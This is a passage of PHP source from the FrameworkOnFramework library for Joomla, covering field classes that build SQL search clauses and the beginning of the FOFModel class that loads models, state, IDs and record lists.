$sql = '(' . implode(' AND ', $sql) . ')';
return $sql;
}
/**
* Perform an interval match. It's similar to a 'between'
match, but the
* from and to values are calculated based on $value and $interval:
* $value - $interval < VALUE < $value + $interval
*
* @param integer|float $value The starting value of the search
space
* @param integer|float $interval The interval period of the search
space
* @param boolean $include Should I include the boundaries in
the search?
*
* @return string The SQL where clause
*/
public function modulo($value, $interval, $include = true)
{
if ($this->isEmpty($value) || $this->isEmpty($interval))
{
return '';
}
$extra = '';
if ($include)
{
$extra = '=';
}
$sql = '(' . $this->getFieldName() . ' >' .
$extra . ' ' . $value . ' AND ';
$sql .= '(' . $this->getFieldName() . ' - ' .
$value . ') % ' . $interval . ' = 0)';
return $sql;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage model
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* FrameworkOnFramework model behavior class
*
* @package FrameworkOnFramework
* @since 2.1
*/
class FOFModelFieldText extends FOFModelField
{
/**
* Constructor
*
* @param FOFDatabaseDriver $db The database object
* @param object $field The field informations as taken from
the db
*/
public function __construct($db, $field, $table_alias = false)
{
parent::__construct($db, $field, $table_alias);
$this->null_value = '';
}
/**
* Returns the default search method for this field.
*
* @return string
*/
public function getDefaultSearchMethod()
{
return 'partial';
}
/**
* Perform a partial match (search in string)
*
* @param mixed $value The value to compare to
*
* @return string The SQL where clause for this search
*/
public function partial($value)
{
if ($this->isEmpty($value))
{
return '';
}
return '(' . $this->getFieldName() . ' LIKE ' .
$this->_db->quote('%' . $value . '%') .
')';
}
/**
* Perform an exact match (match string)
*
* @param mixed $value The value to compare to
*
* @return string The SQL where clause for this search
*/
public function exact($value)
{
if ($this->isEmpty($value))
{
return '';
}
return '(' . $this->getFieldName() . ' LIKE ' .
$this->_db->quote($value) . ')';
}
/**
* Dummy method; this search makes no sense for text fields
*
* @param mixed $from Ignored
* @param mixed $to Ignored
* @param boolean $include Ignored
*
* @return string Empty string
*/
public function between($from, $to, $include = true)
{
return '';
}
/**
* Dummy method; this search makes no sense for text fields
*
* @param mixed $from Ignored
* @param mixed $to Ignored
* @param boolean $include Ignored
*
* @return string Empty string
*/
public function outside($from, $to, $include = false)
{
return '';
}
/**
* Dummy method; this search makes no sense for text fields
*
* @param mixed $value Ignored
* @param mixed $interval Ignored
* @param boolean $include Ignored
*
* @return string Empty string
*/
public function interval($value, $interval, $include = true)
{
return '';
}
/**
* Dummy method; this search makes no sense for text fields
*
* @param mixed $from Ignored
* @param mixed $to Ignored
* @param boolean $include Ignored
*
* @return string Empty string
*/
public function range($from, $to, $include = false)
{
return '';
}
/**
* Dummy method; this search makes no sense for text fields
*
* @param mixed $from Ignored
* @param mixed $to Ignored
* @param boolean $include Ignored
*
* @return string Empty string
*/
public function modulo($from, $to, $include = false)
{
return '';
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage model
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* FrameworkOnFramework model behavior class
*
* @package FrameworkOnFramework
* @since 2.1
*/
abstract class FOFModelField
{
protected $_db = null;
/**
* The column name of the table field
*
* @var string
*/
protected $name = '';
/**
* The column type of the table field
*
* @var string
*/
protected $type = '';
/**
* The alias of the table used for filtering
*
* @var string
*/
protected $table_alias = false;
/**
* The null value for this type
*
* @var mixed
*/
public $null_value = null;
/**
* Constructor
*
* @param FOFDatabaseDriver $db The database object
* @param object $field The field informations as taken
from the db
* @param string $table_alias The table alias to use when
filtering
*/
public function __construct($db, $field, $table_alias = false)
{
$this->_db = $db;
$this->name = $field->name;
$this->type = $field->type;
$this->filterzero = $field->filterzero;
$this->table_alias = $table_alias;
}
/**
* Is it a null or otherwise empty value?
*
* @param mixed $value The value to test for emptiness
*
* @return boolean
*/
public function isEmpty($value)
{
return (($value === $this->null_value) || empty($value))
&& !($this->filterzero && $value === "0");
}
/**
* Returns the default search method for a field. This always returns
'exact'
* and you are supposed to override it in specialised classes. The
possible
* values are exact, partial, between and outside, unless something
* different is returned by getSearchMethods().
*
* @see self::getSearchMethods()
*
* @return string
*/
public function getDefaultSearchMethod()
{
return 'exact';
}
/**
* Return the search methods available for this field class,
*
* @return array
*/
public function getSearchMethods()
{
$ignore = array('isEmpty', 'getField',
'getFieldType', '__construct',
'getDefaultSearchMethod', 'getSearchMethods');
$class = new ReflectionClass(__CLASS__);
$methods = $class->getMethods(ReflectionMethod::IS_PUBLIC);
$tmp = array();
foreach ($methods as $method)
{
$tmp[] = $method->name;
}
$methods = $tmp;
if ($methods = array_diff($methods, $ignore))
{
return $methods;
}
return array();
}
/**
* Perform an exact match (equality matching)
*
* @param mixed $value The value to compare to
*
* @return string The SQL where clause for this search
*/
public function exact($value)
{
if ($this->isEmpty($value))
{
return '';
}
if (is_array($value))
{
$db = FOFPlatform::getInstance()->getDbo();
$value = array_map(array($db, 'quote'), $value);
return '(' . $this->getFieldName() . ' IN (' .
implode(',', $value) . '))';
}
else
{
return $this->search($value, '=');
}
}
/**
* Perform a partial match (usually: search in string)
*
* @param mixed $value The value to compare to
*
* @return string The SQL where clause for this search
*/
abstract public function partial($value);
/**
* Perform a between limits match (usually: search for a value between
* two numbers or a date between two preset dates). When $include is true
* the condition tested is:
* $from <= VALUE <= $to
* When $include is false the condition tested is:
* $from < VALUE < $to
*
* @param mixed $from The lowest value to compare to
* @param mixed $to The higherst value to compare to
* @param boolean $include Should we include the boundaries in the
search?
*
* @return string The SQL where clause for this search
*/
abstract public function between($from, $to, $include = true);
/**
* Perform an outside limits match (usually: search for a value outside an
* area or a date outside a preset period). When $include is true
* the condition tested is:
* (VALUE <= $from) || (VALUE >= $to)
* When $include is false the condition tested is:
* (VALUE < $from) || (VALUE > $to)
*
* @param mixed $from The lowest value of the excluded range
* @param mixed $to The higherst value of the excluded range
* @param boolean $include Should we include the boundaries in the
search?
*
* @return string The SQL where clause for this search
*/
abstract public function outside($from, $to, $include = false);
/**
* Perform an interval search (usually: a date interval check)
*
* @param string $from The value to search
* @param string|array|object $interval The interval
*
* @return string The SQL where clause for this search
*/
abstract public function interval($from, $interval);
/**
* Perform a between limits match (usually: search for a value between
* two numbers or a date between two preset dates). When $include is true
* the condition tested is:
* $from <= VALUE <= $to
* When $include is false the condition tested is:
* $from < VALUE < $to
*
* @param mixed $from The lowest value to compare to
* @param mixed $to The higherst value to compare to
* @param boolean $include Should we include the boundaries in the
search?
*
* @return string The SQL where clause for this search
*/
abstract public function range($from, $to, $include = true);
/**
* Perform an modulo search
*
* @param integer|float $value The starting value of the search
space
* @param integer|float $interval The interval period of the search
space
* @param boolean $include Should I include the boundaries in
the search?
*
* @return string The SQL where clause
*/
abstract public function modulo($from, $interval, $include = true);
/**
* Return the SQL where clause for a search
*
* @param mixed $value The value to search for
* @param string $operator The operator to use
*
* @return string The SQL where clause for this search
*/
public function search($value, $operator = '=')
{
if ($this->isEmpty($value))
{
return '';
}
return '(' . $this->getFieldName() . ' ' .
$operator . ' ' . $this->_db->quote($value) .
')';
}
/**
* Get the field name with the given table alias
*
* @return string The field name
*/
public function getFieldName()
{
$name = $this->_db->qn($this->name);
if ($this->table_alias)
{
$name = $this->_db->qn($this->table_alias) . '.' .
$name;
}
return $name;
}
/**
* Creates a field Object based on the field column type
*
* @param object $field The field informations
* @param array $config The field configuration (like the db object
to use)
*
* @return FOFModelField The Field object
*/
public static function getField($field, $config = array())
{
$type = $field->type;
$classType = self::getFieldType($type);
$className = 'FOFModelField' . $classType;
if (class_exists($className))
{
if (isset($config['dbo']))
{
$db = $config['dbo'];
}
else
{
$db = FOFPlatform::getInstance()->getDbo();
}
if (isset($config['table_alias']))
{
$table_alias = $config['table_alias'];
}
else
{
$table_alias = false;
}
$field = new $className($db, $field, $table_alias);
return $field;
}
return false;
}
/**
* Get the classname based on the field Type
*
* @param string $type The type of the field
*
* @return string the class suffix
*/
public static function getFieldType($type)
{
switch ($type)
{
case 'varchar':
case 'text':
case 'smalltext':
case 'longtext':
case 'char':
case 'mediumtext':
case 'character varying':
case 'nvarchar':
case 'nchar':
$type = 'Text';
break;
case 'date':
case 'datetime':
case 'time':
case 'year':
case 'timestamp':
case 'timestamp without time zone':
case 'timestamp with time zone':
$type = 'Date';
break;
case 'tinyint':
case 'smallint':
$type = 'Boolean';
break;
default:
$type = 'Number';
break;
}
return $type;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage model
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no
longer reflects the original work of its author.
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* FrameworkOnFramework Model class. The Model is the workhorse. It
performs all
* of the business logic based on its state and then returns the raw
(processed)
* data to the caller, or modifies its own state. It's important to
note that
* the model doesn't get data directly from the request (this is the
* Controller's business) and that it doesn't output anything
(that the View's
* business).
*
* @package FrameworkOnFramework
* @since 1.0
*/
class FOFModel extends FOFUtilsObject
{
/**
* Indicates if the internal state has been set
*
* @var boolean
* @since 12.2
*/
protected $__state_set = null;
/**
* Database Connector
*
* @var object
* @since 12.2
*/
protected $_db;
/**
* The event to trigger after deleting the data.
* @var string
*/
protected $event_after_delete = 'onContentAfterDelete';
/**
* The event to trigger after saving the data.
* @var string
*/
protected $event_after_save = 'onContentAfterSave';
/**
* The event to trigger before deleting the data.
* @var string
*/
protected $event_before_delete = 'onContentBeforeDelete';
/**
* The event to trigger before saving the data.
* @var string
*/
protected $event_before_save = 'onContentBeforeSave';
/**
* The event to trigger after changing the published state of the data.
* @var string
*/
protected $event_change_state = 'onContentChangeState';
/**
* The event to trigger when cleaning cache.
*
* @var string
* @since 12.2
*/
protected $event_clean_cache = null;
/**
* Stores a list of IDs passed to the model's state
* @var array
*/
protected $id_list = array();
/**
* The first row ID passed to the model's state
* @var int
*/
protected $id = null;
/**
* Input variables, passed on from the controller, in an associative array
* @var FOFInput
*/
protected $input = array();
/**
* The list of records made available through getList
* @var array
*/
protected $list = null;
/**
* The model (base) name
*
* @var string
* @since 12.2
*/
protected $name;
/**
* The URL option for the component.
*
* @var string
* @since 12.2
*/
protected $option = null;
/**
* The table object, populated when saving data
* @var FOFTable
*/
protected $otable = null;
/**
* Pagination object
* @var JPagination
*/
protected $pagination = null;
/**
* The table object, populated when retrieving data
* @var FOFTable
*/
protected $record = null;
/**
* A state object
*
* @var string
* @since 12.2
*/
protected $state;
/**
* The name of the table to use
* @var string
*/
protected $table = null;
/**
* Total rows based on the filters set in the model's state
* @var int
*/
protected $total = null;
/**
* Should I save the model's state in the session?
* @var bool
*/
protected $_savestate = null;
/**
* Array of form objects.
*
* @var array
* @since 2.0
*/
protected $_forms = array();
/**
* The data to load into a form
*
* @var array
* @since 2.0
*/
protected $_formData = array();
/**
* An instance of FOFConfigProvider to provision configuration overrides
*
* @var FOFConfigProvider
*/
protected $configProvider = null;
/**
* FOFModelDispatcherBehavior for dealing with extra behaviors
*
* @var FOFModelDispatcherBehavior
*/
protected $modelDispatcher = null;
/**
* Default behaviors to apply to the model
*
* @var array
*/
protected $default_behaviors = array('filters');
/**
* Behavior parameters
*
* @var array
*/
protected $_behaviorParams = array();
/**
* Returns a new model object. Unless overridden by the $config array, it
will
* try to automatically populate its state from the request variables.
*
* @param string $type Model type, e.g. 'Items'
* @param string $prefix Model prefix, e.g. 'FoobarModel'
* @param array $config Model configuration variables
*
* @return FOFModel
*/
public static function &getAnInstance($type, $prefix = '',
$config = array())
{
// Make sure $config is an array
if (is_object($config))
{
$config = (array) $config;
}
elseif (!is_array($config))
{
$config = array();
}
$type = preg_replace('/[^A-Z0-9_\.-]/i', '', $type);
$modelClass = $prefix . ucfirst($type);
$result = false;
// Guess the component name and include path
if (!empty($prefix))
{
preg_match('/(.*)Model$/', $prefix, $m);
$component = 'com_' . strtolower($m[1]);
}
else
{
$component = '';
}
if (array_key_exists('input', $config))
{
if (!($config['input'] instanceof FOFInput))
{
if (!is_array($config['input']))
{
$config['input'] = (array) $config['input'];
}
$config['input'] = array_merge($_REQUEST,
$config['input']);
$config['input'] = new FOFInput($config['input']);
}
}
else
{
$config['input'] = new FOFInput;
}
if (empty($component))
{
$component = $config['input']->get('option',
'com_foobar');
}
$config['option'] = $component;
$needsAView = true;
if (array_key_exists('view', $config))
{
if (!empty($config['view']))
{
$needsAView = false;
}
}
if ($needsAView)
{
$config['view'] = strtolower($type);
}
$config['input']->set('option',
$config['option']);
// Get the component directories
$componentPaths =
FOFPlatform::getInstance()->getComponentBaseDirs($component);
$filesystem =
FOFPlatform::getInstance()->getIntegrationObject('filesystem');
// Try to load the requested model class
if (!class_exists($modelClass))
{
$include_paths = self::addIncludePath();
$extra_paths = array(
$componentPaths['main'] . '/models',
$componentPaths['alt'] . '/models'
);
$include_paths = array_merge($extra_paths, $include_paths);
// Try to load the model file
$path = $filesystem->pathFind(
$include_paths, self::_createFileName('model',
array('name' => $type))
);
if ($path)
{
require_once $path;
}
}
// Fallback to the Default model class, e.g. FoobarModelDefault
if (!class_exists($modelClass))
{
$modelClass = $prefix . 'Default';
if (!class_exists($modelClass))
{
$include_paths = self::addIncludePath();
$extra_paths = array(
$componentPaths['main'] . '/models',
$componentPaths['alt'] . '/models'
);
$include_paths = array_merge($extra_paths, $include_paths);
// Try to load the model file
$path = $filesystem->pathFind(
$include_paths, self::_createFileName('model',
array('name' => 'default'))
);
if ($path)
{
require_once $path;
}
}
}
// Fallback to the generic FOFModel model class
if (!class_exists($modelClass))
{
$modelClass = 'FOFModel';
}
$result = new $modelClass($config);
return $result;
}
/**
* Adds a behavior to the model
*
* @param string $name The name of the behavior
* @param array $config Optional Behavior configuration
*
* @return boolean True if the behavior is found and added
*/
public function addBehavior($name, $config = array())
{
// Sanity check: this objects needs a non-null behavior handler
if (!is_object($this->modelDispatcher))
{
return false;
}
// Sanity check: this objects needs a behavior handler of the correct
class type
if (!($this->modelDispatcher instanceof FOFModelDispatcherBehavior))
{
return false;
}
// First look for ComponentnameModelViewnameBehaviorName (e.g.
FoobarModelItemsBehaviorFilter)
$option_name = str_replace('com_', '',
$this->option);
$behaviorClass = ucfirst($option_name) . 'Model' .
FOFInflector::pluralize($this->name) . 'Behavior' .
ucfirst(strtolower($name));
if (class_exists($behaviorClass))
{
$behavior = new $behaviorClass($this->modelDispatcher, $config);
return true;
}
// Then look for ComponentnameModelBehaviorName (e.g.
FoobarModelBehaviorFilter)
$option_name = str_replace('com_', '',
$this->option);
$behaviorClass = ucfirst($option_name) . 'ModelBehavior' .
ucfirst(strtolower($name));
if (class_exists($behaviorClass))
{
$behavior = new $behaviorClass($this->modelDispatcher, $config);
return true;
}
// Then look for FOFModelBehaviorName (e.g. FOFModelBehaviorFilter)
$behaviorClassAlt = 'FOFModelBehavior' .
ucfirst(strtolower($name));
if (class_exists($behaviorClassAlt))
{
$behavior = new $behaviorClassAlt($this->modelDispatcher, $config);
return true;
}
// Nothing found? Return false.
return false;
}
/**
* Returns a new instance of a model, with the state reset to defaults
*
* @param string $type Model type, e.g. 'Items'
* @param string $prefix Model prefix, e.g. 'FoobarModel'
* @param array $config Model configuration variables
*
* @return FOFModel
*/
public static function &getTmpInstance($type, $prefix = '',
$config = array())
{
// Make sure $config is an array
if (is_object($config))
{
$config = (array) $config;
}
elseif (!is_array($config))
{
$config = array();
}
if (!array_key_exists('savestate', $config))
{
$config['savestate'] = false;
}
$ret = self::getAnInstance($type, $prefix, $config)
->getClone()
->clearState()
->clearInput()
->reset()
->savestate(0)
->limitstart(0)
->limit(0);
return $ret;
}
/**
* Add a directory where FOFModel should search for models. You may
* either pass a string or an array of directories.
*
* @param mixed $path A path or array[sting] of paths to search.
* @param string $prefix A prefix for models.
*
* @return array An array with directory elements. If prefix is equal to
'', all directories are returned.
*
* @since 12.2
*/
public static function addIncludePath($path = '', $prefix =
'')
{
static $paths;
if (!isset($paths))
{
$paths = array();
}
if (!isset($paths[$prefix]))
{
$paths[$prefix] = array();
}
if (!isset($paths['']))
{
$paths[''] = array();
}
if (!empty($path))
{
$filesystem =
FOFPlatform::getInstance()->getIntegrationObject('filesystem');
if (!in_array($path, $paths[$prefix]))
{
array_unshift($paths[$prefix], $filesystem->pathClean($path));
}
if (!in_array($path, $paths['']))
{
array_unshift($paths[''], $filesystem->pathClean($path));
}
}
return $paths[$prefix];
}
/**
* Adds to the stack of model table paths in LIFO order.
*
* @param mixed $path The directory as a string or directories as an
array to add.
*
* @return void
*
* @since 12.2
*/
public static function addTablePath($path)
{
FOFTable::addIncludePath($path);
}
/**
* Create the filename for a resource
*
* @param string $type The resource type to create the filename for.
* @param array $parts An associative array of filename information.
*
* @return string The filename
*
* @since 12.2
*/
protected static function _createFileName($type, $parts = array())
{
$filename = '';
switch ($type)
{
case 'model':
$filename = strtolower($parts['name']) . '.php';
break;
}
return $filename;
}
/**
* Public class constructor
*
* @param array $config The configuration array
*/
public function __construct($config = array())
{
// Make sure $config is an array
if (is_object($config))
{
$config = (array) $config;
}
elseif (!is_array($config))
{
$config = array();
}
// Get the input
if (array_key_exists('input', $config))
{
if ($config['input'] instanceof FOFInput)
{
$this->input = $config['input'];
}
else
{
$this->input = new FOFInput($config['input']);
}
}
else
{
$this->input = new FOFInput;
}
// Load the configuration provider
$this->configProvider = new FOFConfigProvider;
// Load the behavior dispatcher
$this->modelDispatcher = new FOFModelDispatcherBehavior;
// Set the $name/$_name variable
$component = $this->input->getCmd('option',
'com_foobar');
if (array_key_exists('option', $config))
{
$component = $config['option'];
}
// Set the $name variable
$this->input->set('option', $component);
$component = $this->input->getCmd('option',
'com_foobar');
if (array_key_exists('option', $config))
{
$component = $config['option'];
}
$this->input->set('option', $component);
$bareComponent = str_replace('com_', '',
strtolower($component));
// Get the view name
$className = get_class($this);
if ($className == 'FOFModel')
{
if (array_key_exists('view', $config))
{
$view = $config['view'];
}
if (empty($view))
{
$view = $this->input->getCmd('view',
'cpanel');
}
}
else
{
if (array_key_exists('view', $config))
{
$view = $config['view'];
}
if (empty($view))
{
$eliminatePart = ucfirst($bareComponent) .
'Model';
$view = strtolower(str_replace($eliminatePart,
'', $className));
}
}
if (array_key_exists('name', $config))
{
$name = $config['name'];
}
else
{
$name = $view;
}
$this->name = $name;
$this->option = $component;
// Set the model state
if (array_key_exists('state', $config))
{
$this->state = $config['state'];
}
else
{
$this->state = new FOFUtilsObject;
}
// Set the model dbo
if (array_key_exists('dbo', $config))
{
$this->_db = $config['dbo'];
}
else
{
$this->_db = FOFPlatform::getInstance()->getDbo();
}
// Set the default view search path
if (array_key_exists('table_path', $config))
{
$this->addTablePath($config['table_path']);
}
else
{
$componentPaths =
FOFPlatform::getInstance()->getComponentBaseDirs($this->option);
$path = $componentPaths['admin'] . '/tables';
$altPath = $this->configProvider->get($this->option .
'.views.' . FOFInflector::singularize($this->name) .
'.config.table_path', null);
if ($altPath)
{
$path = $componentPaths['main'] . '/' . $altPath;
}
$this->addTablePath($path);
}
// Assign the correct table
if (array_key_exists('table', $config))
{
$this->table = $config['table'];
}
else
{
$table = $this->configProvider->get(
$this->option . '.views.' .
FOFInflector::singularize($this->name) .
'.config.table', FOFInflector::singularize($view)
);
$this->table = $table;
}
// Set the internal state marker - used to ignore setting state from the
request
if (!empty($config['ignore_request']) || !is_null(
$this->configProvider->get(
$this->option . '.views.' .
FOFInflector::singularize($this->name) .
'.config.ignore_request', null
)
))
{
$this->__state_set = true;
}
// Get and store the pagination request variables
$defaultSaveState = array_key_exists('savestate', $config) ?
$config['savestate'] : -999;
$this->populateSavestate($defaultSaveState);
if (FOFPlatform::getInstance()->isCli())
{
$limit = 20;
$limitstart = 0;
}
else
{
$app = JFactory::getApplication();
if (method_exists($app, 'getCfg'))
{
$default_limit = $app->getCfg('list_limit');
}
else
{
$default_limit = 20;
}
$limit = $this->getUserStateFromRequest($component . '.' .
$view . '.limit', 'limit', $default_limit,
'int', $this->_savestate);
$limitstart = $this->getUserStateFromRequest($component .
'.' . $view . '.limitstart', 'limitstart', 0,
'int', $this->_savestate);
}
$this->setState('limit', $limit);
$this->setState('limitstart', $limitstart);
// Get the ID or list of IDs from the request or the configuration
if (array_key_exists('cid', $config))
{
$cid = $config['cid'];
}
elseif ($cid = $this->configProvider->get(
$this->option . '.views.' .
FOFInflector::singularize($this->name) . '.config.cid', null
)
)
{
$cid = explode(',', $cid);
}
else
{
$cid = $this->input->get('cid', array(),
'array');
}
if (array_key_exists('id', $config))
{
$id = $config['id'];
}
elseif ($id = $this->configProvider->get(
$this->option . '.views.' .
FOFInflector::singularize($this->name) . '.config.id', null
)
)
{
$id = explode(',', $id);
$id = array_shift($id);
}
else
{
$id = $this->input->getInt('id', 0);
}
if (is_array($cid) && !empty($cid))
{
$this->setIds($cid);
}
else
{
$this->setId($id);
}
// Populate the event names from the $config array
$configKey = $this->option . '.views.' .
FOFInflector::singularize($view) . '.config.';
// Assign after delete event handler
if (isset($config['event_after_delete']))
{
$this->event_after_delete = $config['event_after_delete'];
}
else
{
$this->event_after_delete = $this->configProvider->get(
$configKey . 'event_after_delete',
$this->event_after_delete
);
}
// Assign after save event handler
if (isset($config['event_after_save']))
{
$this->event_after_save = $config['event_after_save'];
}
else
{
$this->event_after_save = $this->configProvider->get(
$configKey . 'event_after_save',
$this->event_after_save
);
}
// Assign before delete event handler
if (isset($config['event_before_delete']))
{
$this->event_before_delete =
$config['event_before_delete'];
}
else
{
$this->event_before_delete = $this->configProvider->get(
$configKey . 'event_before_delete',
$this->event_before_delete
);
}
// Assign before save event handler
if (isset($config['event_before_save']))
{
$this->event_before_save = $config['event_before_save'];
}
else
{
$this->event_before_save = $this->configProvider->get(
$configKey . 'event_before_save',
$this->event_before_save
);
}
// Assign state change event handler
if (isset($config['event_change_state']))
{
$this->event_change_state = $config['event_change_state'];
}
else
{
$this->event_change_state = $this->configProvider->get(
$configKey . 'event_change_state',
$this->event_change_state
);
}
// Assign cache clean event handler
if (isset($config['event_clean_cache']))
{
$this->event_clean_cache = $config['event_clean_cache'];
}
else
{
$this->event_clean_cache = $this->configProvider->get(
$configKey . 'event_clean_cache',
$this->event_clean_cache
);
}
// Apply model behaviors
if (isset($config['behaviors']))
{
$behaviors = (array) $config['behaviors'];
}
elseif ($behaviors = $this->configProvider->get($configKey .
'behaviors', null))
{
$behaviors = explode(',', $behaviors);
}
else
{
$behaviors = $this->default_behaviors;
}
if (is_array($behaviors) && count($behaviors))
{
foreach ($behaviors as $behavior)
{
$this->addBehavior($behavior);
}
}
}
/**
* Sets the list of IDs from the request data
*
* @return FOFModel
*/
public function setIDsFromRequest()
{
// Get the ID or list of IDs from the request or the configuration
$cid = $this->input->get('cid', array(),
'array');
$id = $this->input->getInt('id', 0);
$kid =
$this->input->getInt($this->getTable($this->table)->getKeyName(),
0);
if (is_array($cid) && !empty($cid))
{
$this->setIds($cid);
}
else
{
if (empty($id))
{
$this->setId($kid);
}
else
{
$this->setId($id);
}
}
return $this;
}
/**
* Sets the ID and resets internal data
*
* @param integer $id The ID to use
*
* @throws InvalidArgumentException
*
* @return FOFModel
*/
public function setId($id = 0)
{
// If this is an array extract the first item
if (is_array($id))
{
FOFPlatform::getInstance()->logDeprecated('Passing arrays to
FOFModel::setId is deprecated. Use setIds() instead.');
$id = array_shift($id);
}
// No string or no integer? What are you trying to do???
if (!is_string($id) && !is_numeric($id))
{
throw new InvalidArgumentException(sprintf('%s::setId()',
get_class($this)));
}
$this->reset();
$this->id = (int) $id;
$this->id_list = array($this->id);
return $this;
}
/**
* Returns the currently set ID
*
* @return integer
*/
public function getId()
{
return $this->id;
}
/**
* Sets a list of IDs for batch operations from an array and resets the
model
*
* @param array $idlist An array of item IDs to be set to the
model's state
*
* @return FOFModel
*/
public function setIds($idlist)
{
$this->reset();
$this->id_list = array();
$this->id = 0;
if (is_array($idlist) && !empty($idlist))
{
foreach ($idlist as $value)
{
// Protect vs fatal error (objects) and wrong behavior
(nested array)
if(!is_object($value) && !is_array($value))
{
$this->id_list[] = (int) $value;
}
}
if(count($this->id_list))
{
$this->id = $this->id_list[0];
}
}
return $this;
}
/**
* Returns the list of IDs for batch operations
*
* @return array An array of integers
*/
public function getIds()
{
return $this->id_list;
}
/**
* Resets the model, like it was freshly loaded
*
* @return FOFModel
*/
public function reset()
{
$this->id = 0;
$this->id_list = null;
$this->record = null;
$this->list = null;
$this->pagination = null;
$this->total = null;
$this->otable = null;
return $this;
}
/**
* Clears the model state, but doesn't touch the internal lists of
records,
* record tables or record id variables. To clear these values, please use
* reset().
*
* @return FOFModel
*/
public function clearState()
{
$this->state = new FOFUtilsObject;
return $this;
}
/**
* Clears the input array.
*
* @return FOFModel
*/
public function clearInput()
{
$defSource = array();
$this->input = new FOFInput($defSource);
return $this;
}
/**
* Set the internal input field
*
* @param $input
*
* @return FOFModel
*/
public function setInput($input)
{
if (!($input instanceof FOFInput))
{
if (!is_array($input))
{
$input = (array) $input;
}
$input = array_merge($_REQUEST, $input);
$input = new FOFInput($input);
}
$this->input = $input;
return $this;
}
/**
* Resets the saved state for this view
*
* @return FOFModel
*/
public function resetSavedState()
{
JFactory::getApplication()->setUserState(substr($this->getHash(),
0, -1), null);
return $this;
}
/**
* Method to load a row for editing from the version history table.
*
* @param integer $version_id Key to the version history table.
* @param FOFTable &$table Content table object being loaded.
* @param string $alias The type_alias in #__content_types
*
* @return boolean False on failure or error, true otherwise.
*
* @since 2.3
*/
public function loadhistory($version_id, FOFTable &$table, $alias)
{
// Only attempt to check the row in if it exists.
if ($version_id)
{
$user = JFactory::getUser();
// Get an instance of the row to checkout.
$historyTable = JTable::getInstance('Contenthistory');
if (!$historyTable->load($version_id))
{
$this->setError($historyTable->getError());
return false;
}
$rowArray =
JArrayHelper::fromObject(json_decode($historyTable->version_data));
$typeId =
JTable::getInstance('Contenttype')->getTypeId($alias);
if ($historyTable->ucm_type_id != $typeId)
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_HISTORY_ID_MISMATCH'));
$key = $table->getKeyName();
if (isset($rowArray[$key]))
{
$table->checkIn($rowArray[$key]);
}
return false;
}
}
$this->setState('save_date', $historyTable->save_date);
$this->setState('version_note',
$historyTable->version_note);
return $table->bind($rowArray);
}
/**
* Returns a single item. It uses the id set with setId, or the first ID
in
* the list of IDs for batch operations
*
* @param integer $id Force a primary key ID to the model. Use null to
use the id from the state.
*
* @return FOFTable A copy of the item's FOFTable array
*/
public function &getItem($id = null)
{
if (!is_null($id))
{
$this->record = null;
$this->setId($id);
}
if (empty($this->record))
{
$table = $this->getTable($this->table);
$table->load($this->id);
$this->record = $table;
// Do we have saved data?
$session = JFactory::getSession();
if ($this->_savestate)
{
$serialized = $session->get($this->getHash() .
'savedata', null);
if (!empty($serialized))
{
$data = @unserialize($serialized);
if ($data !== false)
{
$k = $table->getKeyName();
if (!array_key_exists($k, $data))
{
$data[$k] = null;
}
if ($data[$k] != $this->id)
{
$session->set($this->getHash() . 'savedata', null);
}
else
{
$this->record->bind($data);
}
}
}
}
$this->onAfterGetItem($this->record);
}
return $this->record;
}
/**
* Alias for getItemList
*
* @param boolean $overrideLimits Should I override set limits?
* @param string $group The group by clause
* @codeCoverageIgnore
*
* @return array
*/
public function &getList($overrideLimits = false, $group =
'')
{
return $this->getItemList($overrideLimits, $group);
}
/**
* Returns a list of items
*
* @param boolean $overrideLimits Should I override set limits?
* @param string $group The group by clause
*
* @return array
*/
public function &getItemList($overrideLimits = false, $group =
'')
{
if (empty($this->list))
{
$query = $this->buildQuery($overrideLimits);
if (!$overrideLimits)
{
$limitstart = $this->getState('limitstart');
$limit = $this->getState('limit');
$this->list = $this->_getList((string) $query, $limitstart,
$limit, $group);
}
else
{
$this->list = $this->_getList((string) $query, 0, 0, $group);
}
}
return $this->list;
}
/**
* Returns a FOFDatabaseIterator over a list of items.
*
* THERE BE DRAGONS. Unlike the getItemList() you have a few restrictions:
* - The onProcessList event does not run when you get an iterator
* - The Iterator returns FOFTable instances. By default, $this->table
is used. If you have JOINs, GROUPs or a
* complex query in general you will need to create a custom FOFTable
subclass and pass its type in $tableType.
*
* The getIterator() method is a great way to sift through a large amount
of records which would otherwise not fit
* in memory since it only keeps one record in PHP memory at a time. It
works best with simple models, returning
* all the contents of a single database table.
*
* @param boolean $overrideLimits Should I ignore set limits?
* @param string $tableClass The table class for the iterator,
e.g. FoobarTableBar. Leave empty to use
* the default Table class for this
Model.
*
* @return FOFDatabaseIterator
*/
public function &getIterator($overrideLimits = false, $tableClass =
null)
{
// Get the table name (required by the Iterator)
if (empty($tableClass))
{
$name = $this->table;
if (empty($name))
{
$name = FOFInflector::singularize($this->getName());
}
$bareComponent = str_replace('com_', '',
$this->option);
$prefix = ucfirst($bareComponent) . 'Table';
$tableClass = $prefix . ucfirst($name);
}
// Get the query
$query = $this->buildQuery($overrideLimits);
// Apply limits
if ($overrideLimits)
{
$limitStart = 0;
$limit = 0;
}
else
{
$limitStart = $this->getState('limitstart');
$limit = $this->getState('limit');
}
// This is required to prevent one relation from killing the db cursor
used in a different relation...
$oldDb = $this->getDbo();
$oldDb->disconnect(); // YES, WE DO NEED TO DISCONNECT BEFORE WE CLONE
THE DB OBJECT. ARGH!
$db = clone $oldDb;
// Execute the query, get a db cursor and return the iterator
$db->setQuery($query, $limitStart, $limit);
$cursor = $db->execute();
$iterator = FOFDatabaseIterator::getIterator($db->name, $cursor, null,
